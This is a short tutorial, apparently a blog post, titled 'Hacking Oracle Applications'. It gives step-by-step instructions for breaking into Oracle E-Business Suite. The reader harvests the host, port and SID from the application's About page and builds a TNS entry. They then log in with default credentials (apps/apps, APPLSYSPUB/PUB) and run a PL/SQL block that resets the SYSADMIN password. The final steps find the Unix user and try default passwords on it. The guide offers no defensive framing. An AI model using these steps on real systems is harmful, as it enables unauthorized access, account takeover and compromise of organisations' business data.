Traceing TNS Entries(Hacking Oracle Applications)
How to get Tns entries from front page of oracle application Screen.

For more visibility Click on Image

Step 1: Click on About link Page. Then your are able to see the following screen
Step 2: Click on Page Context Tab


For more visibility Click on Image



You are able to Get following Information.
1) Data base Name (Hostname)
2)Port no#
3)SID Name
Step 4: Build Tns Entries With following method and Paste it in local machine
Try to connect with default Password apps/apps


"SID"=
(DESCRIPTION =
(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)
(HOST = "Host Name")
(PORT = "Port number")) )
(CONNECT_DATA =
(SERVICE_NAME ="SID" )
) )

• Connect with Default username/password :

APPLSYSPUB/PUB
This username/password is hard-coded in FND_TOP/secure/appsweb.cfg file.

• Once you get the DataBase access Use following Select statement gets the front URL access

.

• select HOME_URL from icx_parameters

You will get Front-end access login Screen.
By useing APPS.FND_WEB_SEC package change the SYSADMIN or user password At SQL Prompt.
Example 1:
--Change Sysadmin Password from PL/SQL
set serverout on
declare
ret varchar2(200);
begin
ret := fnd_web_sec.change_password('SYSADMIN',
'Welcome1');
dbms_output.put_line('Result of Package'||ret);
---Y Means Success Else Fail.
end;
Commit;

Step 4: Finally Click on Java System Properties Scroll Down the Page. Your able to see the Unix Login user name(Back End User Access)
Step 5:Try to connect unix server with Default Password.